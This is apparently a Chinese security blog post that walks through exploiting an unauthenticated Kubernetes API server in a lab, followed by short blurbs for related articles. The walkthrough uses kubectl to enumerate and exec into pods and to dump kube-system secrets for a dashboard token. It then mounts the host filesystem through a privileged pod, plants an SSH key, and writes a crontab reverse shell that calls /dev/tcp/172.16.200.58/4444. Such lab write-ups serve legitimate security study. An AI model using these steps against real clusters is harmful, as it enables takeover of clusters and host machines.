K8s API Server未授权命令执行

一颗小胡椒2023-02-15 10:05:24

K8s 的API Server默认服务端口为8080(insecure-port)和6443(secure-port),8080端口提供HTTP服务,没有认证授权机制,而6443端口提供HTTPS服务,支持认证(使用令牌或客户端证书进行认证)和授权服务。默认情况下8080端口不启动,而6443端口启动。这两个端口的开放取决于/etc/kubernetes/manifests/kube-apiserver.yaml配置文件。

如果目标K8s的8080端口开启了,由于其没有认证授权机制,因此存在未授权访问。

如果目标K8s的6443端口开启了,如果配置错误,也可以导致存在未授权访问。

漏洞复现

8080端口

默认情况下,8080端口关闭的,下面我们手动去开启。

cd /etc/kubernetes/manifestsvim kube-apiserver.yaml

高版本的k8s中,将--insecure-port这个配置删除了,因此手动添加如下两行

- --insecure-port=8080- --insecure-bind-address=0.0.0.0

#重启k8ssystemctl restart kubectl

访问8080端口即可看到存在未授权。


也可以使用kubectl远程连接获得信息


kubectl -s http://10.211.55.35:8080 get nodes

注:在高版本(1.20及其以后)的K8s中直接禁用了该端口,并且无法打开。

6443端口

如果运维人员配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,则会使得6443端口允许匿名用户以管理员权限访问。

正常情况下访问6443端口,提示Forbidden。

执行如下命令将"system:anonymous"用户绑定到"cluster-admin"用户组。


kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

可以看到再次访问访问6443端口,即可未授权访问。

未授权利用

以下以8080端口未授权为例,6443端口未授权利用方法一致。

命令执行

查看K8s集群信息

执行如下命令查看K8s集群信息

kubectl -s http://10.211.55.35:8080 cluster-info

查看node节点信息

执行如下命令查看K8s node节点信息

#查看node节点kubectl -s http://10.211.55.35:8080 get nodes#查看node节点详细信息kubectl -s http://10.211.55.35:8080 get nodes -o wide

查看pod节点信息

执行如下命令查看K8s pod信息

#查看所有的podkubectl -s http://10.211.55.35:8080 get pods -A

执行命令

通过获取到的pods节点信息,进入对应docker 命令执行。-n对应的是NAMESPACE,-it 对应的是NAME。


#进入命名空间为default,名字为hello-minikube的容器kubectl -s http://10.211.55.35:8080 exec -n default -it hello-minikube -- /bin/bash#进入命名空间为kube-system,名字为etcd-ubuntu的容器kubectl -s http://10.211.55.35:8080 exec -n kube-system -it etcd-ubuntu -- /bin/sh


获取Token登录dashboard

访问如下接口,即可看到K8s所有的Token,我们过滤找到dashboard-admin相关的Token。

http://10.211.55.3:8080/api/v1/namespaces/kube-system/secrets/https://172.16.200.70:6443/api/v1/namespaces/kube-system/secrets/

然后对其base64解码一次,即可使用base64解码后的Token登录K8s的dashboard。在线base64编码解码:https://base64.us


获取宿主机权限

通过k8s dashboard,创建特权Pods来获得宿主机权限。登录dashboard后台后,点击+号。

然后输入如下命JSON内容,创建名为myapp的pod,并且将宿主机的目录挂在到了/mnt目录下。


apiVersion: v1kind: Podmetadata:  name: myappspec:  containers:  - image: nginx    name: container    volumeMounts:    - mountPath: /mnt      name: test  volumes:  - name: test    hostPath:      path: /

然后可以看到刚刚创建的pod。

点击myapp名称,再点击如下。

可以进入到命令窗口

写入SSH公钥

切换到/mnt/root/.ssh目录下,写入公钥文件,即可免密登录宿主机。

定时任务反弹shell

也可以往宿主机写入crontab来反弹获取shell,执行如下命令,将反弹shell的命令写入/var/spool/cron/root文件中。


echo "*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/172.16.200.58/4444 0>&1" > root

可以看到已经收到node节点反弹的shell了。

chroot

或者也可以直接chroot。


chroot /mnt

kubernetesk8s
本作品采用《CC 协议》,转载必须注明作者和本文链接
K8s的主要目标是应对监管大规模容器的复杂性,其通过分布式节点集群管理微服务应用程序,支持扩展、回滚、零停机和自我修复。
在2021年春季关于Kubernetes安全状况的报告中,RedHat指出,94%的受访者在其 Kubernetes环境中遇到过安全事件。这主要是因为在快速采用的同时,K8s仍在不断发展。托管Kubernetes会将大部分负担交给托管供应商,并让组织能够专注于工作负载而不是基础设施。这将导致更少的配置错误,减少攻击面。
近日,云安全公司Aqua发现了一个大规模的加密货币挖矿活动,攻击者利用Kubernetes基于角色的访问控制来创建后门并运行挖矿恶意软件。该活动被研究者命名为RBAC Buster,专家指出,这些攻击正在野外攻击至少60个集群。攻击者还会检查受感染服务器上竞争矿工恶意软件的证据,并使用RBAC设置来实现持久驻留。专家们发现,自五个月前上传以来,该Docker镜像被拉取了14399次。
对于在共享基础设施上运行的容器化应用程序来说,安全是至关重要的。随着越来越多的组织将其容器工作负载转移到KubernetesK8s已经成为容器协调的首选平台。而随着这一趋势,威胁和新的攻击方式也越来越多,有必要加强所有的安全层。 在Kubernetes中,安全问题有两个方面:集群安全和应用安全。我们已经在另一篇文章中介绍了集群安全。在这篇文章中,我们将探讨如何确保Kubernetes部署和一般
零信任策略下K8s安全监控最佳实践
Kubebot介绍Kubebot是一款基于Google 云平台搭建,并且提供了Kubernetes后端的Slackbot安全测试工具。Google云端平台帐户。API服务器将请求以消息的形式转发至PubSub ToolTopic。消息发布至Tool Subscription。Subscription Worker在K8s集群上以Docker容器运行,处理来自Tool Subscription的消息,Worker的数量也可以根据需要进行调整。Tool Worker会将修改信息回传给Slack,并删除Tool Worker,因为它们已经完成了自己的任务。Kubebot集成的自动化工作流程列表随着更多工作流程的添加,此列表将不断更新wfuzz basic authentication bruteforcingSlack中的Slash命令样本/runtool nmap|-Pn -p 1-1000|google.com
从云的虚拟化管理平台和云网络构架的一般性知识入手,以 Clos 云网络架构和 Kubernetes管理平台为例,俯瞰了当前云计算环境的全貌和细节,宏观上总览了云网络架构和 Kubernetes 管理平台,微观上深入连接 fabrics 和容器的细节。
作为全球数字化转型的基础设施,云计算已经在全球范围得到大规模的应用。企业上云后的 IT 环境变成混合云、多云架构,其网络暴露面变大,安全管理难度随之加大,云安全成为各行各业最为关注的焦点之一。与全球相比,中国的云安全市场有共性也有明显的差异。
10月28日,美国国家安全局(NSA)和国土安全部网络安全和基础设施安全局(CISA)发布《5G云基础设施安全指南第一编:预防和检测横向移动》(Security Guidance for 5G Cloud Infrastructures: Prevent and Detect Lateral Movement),旨在提升5G云基础设施安全防护能力。
Clair可以与K8s集成以持续扫描容器镜像,分析容器映像并提供已知漏洞的报告。Checkov可以集成到CI/CD管道中,以防止部署不安全的设置。Kube-bench可用于验证K8s的安装、执行定期检查并确保符合最佳实践。它可以与K8s集成以提供流量管理、安全性和可观察性。
一颗小胡椒
暂无描述